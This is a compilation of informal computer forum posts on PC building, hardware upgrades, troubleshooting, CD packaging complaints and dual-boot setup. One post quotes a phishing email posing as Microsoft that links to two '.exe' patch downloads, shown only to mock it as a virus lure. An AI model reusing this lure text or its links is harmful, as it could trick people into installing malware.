-get better connection
-get a new graphics card

just off the top of my head and in no particular order

In ....::::Problem:::..... by SuperJer:
Tell us:

1) Where the .mdl file is on your computer.
2) What you have entered for the path/filename in the entity in your map.

In Why cd's suck. by mrsticks:
I. LOVE. CDS. And think of myself as quite the “Audiophile.” Now, I know some folks are merely casual listeners of this art, so this particular rant is for my fellow music lovers.

What irks me about CDs are the following

Number one
Those fucking idiotic stickers they put on the spine of CDs! These things are annoying. You rip them off only to have some sticky residue left on your case which quickly collects all sorts of dirt, and grime, and for some reason, cat hair…from a cat you don’t OWN. It’s annoying.

Number two “Digipaks.” These are CDs whose actual case is a flimsy piece of cardboard with printed graphics on it.
Well, what’s wrong with that?
Well, for one, the whole case--which is also the album art--is now easily susceptible to all sorts of wear and tear.
Well, we’re saving the environment by using biodegradable packaging! BULLSHIT.
Paper is cheaper than plastic. That’s why they manufacture them.

Number Three Security tags that are not only inside the CD case, but actually stuck on the artwork itself. Then, when you try to remove it, your fucking CD artwork is either warped or ripped, and is now completely RUINED. This needs to be OUTLAWED. Put a fucking security tag on a blank piece of paper and stick it inside the booklet!
SIMPLE!
STOP RUINING MY ALBUM ARTWORK!

Number four!
Now I know this pisses off just about everyone
COPYRIGHT PROTECTION.
You usually find out a disk has copyright protection when you put it in your disk drive and your whole fucking computer FREEZES. PERMANENTLY. BLUE SCREEN OF DEATH!
ANNOYING.

And then the record companies wonder why no one is buying CDs anymore. No one is buying them because they completely took the fun out of owning CDs! If you want to increase sales, stop fucking with the packaging, get rid of those top spine stickers and those idiotic security tags, AND the copyright crap that fucks up your computer…
And more importantly, sign some good fucking bands! No one is gonna buy CDs from bands that SUCK!

Don’t make me go back to vinyl!

pissed

In Paint shop by SolidKAYOS:
Dose anyone know where i can find a a paint shop pro that enlarges and lowers the pixles of pics? I had one until i had a wrym in my computer and i had to do system recovery and the sitre that had it dosn't have it anymore. It was number 3

In Thanks for voting by CornJer:
I would have voted earlier, but I'm using my cousin's computer since I'm in chicago right now visiting family and having her find out I opened playboy in her history would seem a little strange. So yeah.

Anyway, best of luck to yah erica.

In Ok, so how do I format my C: drive? by SuperJer:
Unplug it and see if your computer still boots.

In Why does my hlvis take so long? by general_zim:
Wow. Just wow.




I left my computer on all night, and it's only at 70 percent.





It's the LeafThread thing by the way.


Why would it be taking so long?

In Ok, so how do I format my C: drive? by CornJer:
I want to install a server on the C: drive, but for some reason, its not letting me. I'm running windows off the D: drive, and I want to format the C:, yet when I rightclick it off the My Computer box, it says, and right before I finish too, "Windows could not complete the format". WHY?!?

In Video Card by SuperJer:
First tell me what you're going to plug it into. Do you have a PCI Express slot?

Also, list the specs of the rest of your computer (Processor/RAM) so I can think about bottlenecking.

HINT! Whatever you tell me, I'm going to look up the answer to your question on: http://www.tomshardware.com/2007/07/03/the_best_gaming_video_cards_for_the_money/

In Kay. (I need a new computer.) by SuperJer:
Does the computer get very hot while you play RCT3? Some hardware will run slower when it gets hot so it can cool down.

Have you checked for spyware and viruses? And with what programs? In SAFE mode?

What are the hardware requirements of the game compared to your computer?

In THESE PEOPLE AREN'T FOOLING ANYONE!!! by general_zim:


I got a message today.

---------------------

Microsoft <update@microsoft.com> wrote:


Hello! Hackers discovered new bugs on Windows XP versions. Now, your computer is very vulnerable to this attacks,

that`s why Microsoft Corporation relased a new patch to protect your sistem!

If you do not install this patch, the hackers can attack your computer, break into your sistem and steal passwords

or secret informations. In USA over 11,000,000 computers were attacked! Those computers didn`t have installed

protection patch!

Please download the patch and install it on your computer now!

Follow one of next links to download the patch:

DOWNLOAD PATCH: => http: //jmaustin. com/patch. exe

DOWNLOAD PATCH: => http: //v31827.1blu. de/phpmyadmin/patch. exe

* * DO NOT IGNORE THIS MESSAGE * *

Thank you!



.....Seriously. It chock full of errors, and grammatical errors too. Plus, you can tell it's a virus download message.


-------------------------


So, I respond with this:


no.





nice try.





I'm not an idiot. Microsoft doesn't send messages like: "OMG PLEASE DOWNLOAD THIS VIRUS IT'S ALL UPDATED AND STUFF IT FOUR J00/!!!!1 VIRUSES ARE ATTAKCINHG !!1ONE!11ONE IT'S NOT A VIROUS IT;S AN IMPORTANT THING DOWNLOADS IT NOW AND YOUR COMPUTER WON'T BE VUNERABLE NO MOARS!!!1ON!!11ONE!11SHIFT"







go die.





Reasons why I don't believe it:



1. Poor spelling and Grammar

2. Hackers discovered these things? That makes me suspicious to begin with.




My god.

In Kay. (I need a new computer.) by SuperJer:
You can probably find a guide on Google. I've never used one, though. All the parts should come with directions, anyway. You just have to install them in the right (convenient) order.

Building a PC really isn't that hard. Here's my quick and dirty guide:

SuperJer's Quick And Dirty PC Building Guide

Prepare: When handling PC parts, you do not want to shock anything with static electricity. I always take off my socks and shoes so I won't build up static. Before touching any part, touch something metal and grounded, just to be safe.
Clear a work area on a table or the floor to build stuff. Most parts come with lots of little screws and junk. Keep them near the original part -- I like to use plastic cups.
Also keep all the documents handy. Each part almost always comes with picture instructions on how to install it. I learned how to build PCs just from these diagrams and messing around.

1. Inspect the case and figure out what unscrews and what comes apart. Not everything needs to be taken apart here, and before you continue, put it back together except for the side panels.

2. Install the motherboard into the case.
There will be a lot more screw holes in the case than on the motherboard (to fit different sizes/forms). Make sure the motherboard lines up with the back of the case so that the ports are accessible (USB, printer, network, etc). You may need to remove the stock plate in the case covering the ports as it might not match your board.
If the screw holes on the case under the motherboard are not raised, you need to screw spacers in first. Spacers come with the case. Then screw in the motherboard on top of these. You should screw in the motherboard with the low-topped rounded screws that came with the case.

If you drop a screw ever GET IT OUT OF THE COMPUTER. Loose screws can cause electrical shorts when you turn it on. Hard to reach screws may require a screw-grabber tool.

3. Install the power supply.
The power supply fits so that the power cable plug-in is on the back of your computer. Usually there will be big ol' case screws to hold it in. This part is easy except for one thing -- the power cables coming out of the power supply tend to get in the way. Tape them down if you have to.

4. Install the CPU.
BE VARY CAREFUL with the CPU. Do not bend the pins. Don't touch the pins. Handle it by the sides only.
Find the cpu socket on the motherboard (square with lots of pin holes) and release the latch next to it. The CPU should easily plop right into the holes, pins down. Then lock it in with the latch. Easy.

5. Install the CPU cooler.
Every CPU REQUIRES a cooling mechanism (or it will BURN UP). This is usually the hardest thing to install. It can be difficult to figure out how to attach the cooler to the CPU/Motherboard. Check the directions that came with the cooling unit.
YOU MUST apply thermal paste between the CPU and cooling unit. Some CPU's come with the paste pre-applied under a sticker (peel that off!). If not, you need to apply it yourself. You only need a pea-sized blob, not more. Apply it directly to the top of the CPU. Do not get the CPU or cooler dirty where they make contact. No fingerprints etc. If it gets dirty, clean it off with alcohol and cotton swabs and start over.
Once the thermal paste is on, clamp the cooler on top. It is designed to lock on EXTREMELY tight.
If any paste oozes out (you used too much) then wipe it up with cotton swabs/alcohol.

6. Plug in CPU cooler fan.
There should be a tiny jack labeled "CPU Fan" where you can plug in the power for the CPU cooler fan.

7. Install the RAM.
Easy, it just snaps in. Check the motherboard instructions for the best slot configuration. Some configs are faster.

8. Plug in the case bits.
The case has a power button, reset button, indicator lights, and probably a speaker. These need to be plugged into the motherboard. It's usually along the very lower edge of the motherboard.
The plugs are annoyingly tiny, and all the pins are grouped up next to each other. Refer to the motherboard manual for which pins do what. The plugs themselves should all be labelled stuff like "PWR" for power, "PWR LED" for the power indicator light, etc.

9. Hook up USB/Firewire/Sound ports.
If your case has ports like these on the front, you should hook them up to your motherboard. Refer to the book again. Everything should be labelled too. Don't mix up USB and firewire! The ports are the same shape -- so be careful!
If you're not going to use any of the ports (firewire, front sound) then don't plug them in. It's one less thing to have to troubleshoot.

10. Install the Video card.
Put it in whatever slot it matches, closest to the CPU. The back of the video card will be visible on the back of the case. You will probably have to remove a placeholder panel from the back of the case first.

11. Install hard drive(s).
These usually fit in the lower/front of the case under the CD drive bays. Just screw them into the case. Some cool cases work like this: you screw "slides" onto the sides of the hard drive, and then it slides into your case and locks.
If you have a SATA drive, connect it to your motherboard with a SATA conenctor. It's usually red and black. The jacks are little "L" shapes for SATA.
If not SATA, hook it up with an IDE/SCSI cable. These are wide, flat ribbon-like cables. The cables should NOT have a TWIST built into it. Those are for the floppy drive ONLY.

12. Install CD/DVD drive(s).
These install similarly to the hard drives.
These connect to the motherboard with the wide, flat ribbon-like cable (IDE/SCSI). The cables should NOT have a TWIST built into it. Those are for the floppy drive ONLY.

13. Floppy drive?
If you have a floppy drive, it installs similarly to the CD/DVD drive(s). Connect it to the motherboard with the wide, flat ribbon with a TWIST in it.

14. Additional PCI cards?
If you have additional PCI cards, you can install them now. You can also install these later after making sure the rest of the computer works.

15. Hook up motherboard power.
The big-ass power cable coming out of your power supply should plug into your motherboard. It will have 20 or 24 big white plastic pins.
You may have more similar jacks on your motherboard like a 4-pin jack! Hook that up too!

16. Hook up disk drive power.
Any power cable coming out of the power supply that fits into your hard disk is correct. It doesn't matter how you do this.

17. Video card power.
Your video card may require a power source itself. It will be similar to the hard drive power cables.

18. Case fan power.
Hook up your case fans to the power supply. These can usually fit in between the power supply and a device like a drive. That's fine.

19. Look over everything and make sure everythings plugged in all the way. Make sure nothing loose will get in the fans. Make sure there are no loose screws.
Then put the panels back on the case, plug everything in, and turn it on!

This is all from memory so ... take that as you will. Always refer to the instructions if you are unsure. Or post questions and I will try to answer.

In Kay. (I need a new computer.) by general_zim:
well I don't really use Steam much anymorez so thanks for the help once again.




P.S.


My dad and I are building our new computer.


Know any good guides online?

In Kay. (I need a new computer.) by SuperJer:
Probably. What are the main apps you use on your computer?

In Kay. (I need a new computer.) by jacksmoke234:
It will let you load more processes at a time without slowing down your computer.

In Kay. (I need a new computer.) by general_zim:
Question: Will upgrading my 1GB memory to 2GB in the timeframe until I buy a computer speed things up for awhile?

In Kay. (I need a new computer.) by general_zim:
Yeah, I talked to my dad about that.


We may even go with the setup supes showed me.



It's just, I've (or my dad, for that matter) have never built our own computer, and I imagine it's not hard?

In Kay. (I need a new computer.) by jacksmoke234:
Building your own is much better than buying one premade for you.

Just my thought. You get more "bang for the buck".

I believe the computer that I built early 2005 cost me around $600 using some of the best computer hardware out there.

In wii playing on the pc by SuperJer:
If it doesn't look like Windows, then it's probably a BIOS password.

You need to reset your CMOS.

There are 2 ways to do this:
1) On your motherboard, find the reset jumper. It should have 3 pins and be labeled 'RESET' or 'CLEAR CMOS' or somesuch. Move the jumper from the two pins it is on to the other two it can be on. Then turn on the computer. Your CMOS will be reset and it won't ask for a password any more. Then turn OFF your computer and put the jumper back to where it was. Otherwise it will reset every time you turn on the computer. This also resets the time, which is annoying.

2) Remove the battery from your motherboard. It looks like a large watch battery. Leave it disconnected for several minutes and then put it back. This SHOULD clear the CMOS, since it has no power.

In Kay. (I need a new computer.) by SuperJer:
I just went to newegg.com to see if I could design a $1,300 gaming computer. I started putting all the best gaming parts in the cart and when I was done it was only $1000!!! Really!

Details:
GFX: 512 MB (OMG!!!) GeForce 7950GT
CPU: Athlon 64 X2 4400+
MEM: 2GB DDR2 800 (PC2 6400)
HDD: 160GB Sata 3GB/s
Disc: 20x DVD+-R burner/CD burner
Mobo: ASUS/nForce 570 AM2
Plus: Case, Win Vista Home Premium, 19" Viewsonic monitor

SubTotal: $1,113.91 with $110 in mail-in rebates,
Total: $1,003.91

See for yourself in this Shopping Cart

This thing is so great I might have to buy one for me right now!

In Kay. (I need a new computer.) by SuperJer:
Holy shit that computer is awful.

For one thing: Integrated Intel® 950 (Graphics Card) means you won't be able to play games on it.

You can get an very nice computer for $1,300 but you'll have to build it yourself. Or have a friend do it. To get an equivalent from HP/DELL/ETC would cost at least $3000.

In Kay. (I need a new computer.) by general_zim:
I need a new computer.


I want one that will run games really cool like and not lag.




BUT it has to be sorta cheap. Not breaking over $1,300



HP comes to mind. How does this setup sound...



HP Pavilion Slimline s3000y series

Genuine Windows Vista™ Home Premium (32-bit)
Intel® Pentium® 4 641 w/ HT Technology, 3.2GHz
2GB DDR2-667MHz dual channel SDRAM (2x1024)
Integrated Intel® 950 (Graphics Card)
160GB 7200 rpm SATA 3Gb/s hard drive
LightScribe 16X DVD+/-R/RW SuperMulti drive
Integrated 7.1 channel sound w/front audio ports
Microsoft® Office Home and Student Edition 2007
HP 17-inch LCD Wide Flat Panel Monitor

?

In Partitions by Sgt.Fr3ak_boiz:
"melloyellow582" said:
So i installed ubuntu about 6 months ago (woot) and i have been trying to figure out how to make it stop automatically starting up whenever I start up my computer, instead of having to wait around and arrow down to XP.
I love ubuntu, but I unfortunatly dont use it as much as Xp. so anyone, do you know how to set it up for XP to be the default partition?

thanks

What's ubuntu?a kind of software???

In My New and Improved Site by shigidy:
yeah man they say it looks like protoss from the original starcraft on computer

In Partitions by melloyellow582:
So i installed ubuntu about 6 months ago (woot) and i have been trying to figure out how to make it stop automatically starting up whenever I start up my computer, instead of having to wait around and arrow down to XP.
I love ubuntu, but I unfortunatly dont use it as much as Xp. so anyone, do you know how to set it up for XP to be the default partition?

thanks

In Halo maps by pyrobob:
I've seen halo maps ported to CS 1.6, and source. so I know its possible to do it in both. i was wondering how to do this. I can't find anything that would allow me to rip the .bsp in any of my software (dothalo, adi, h2x, dark matter, insolence, and entity. I don't see anything in any of those programs to allow me to save the .bsp

even after I manage to get the .bsp out, how would I go about saving it as a compatable state for CS 1.6 to handle? (I don't own source, nor does my computer possess the ability to run it, so no that won't work)


any help is appreciated.

In And now folks, I show you, the pinacle of retardation: by SuperJer:
Wait -- IF you're convicted, you just have to go to computer game jail right?

That ain't so bad...

In And now folks, I show you, the pinacle of retardation: by molkman:
Up next: computer game crime lawyers.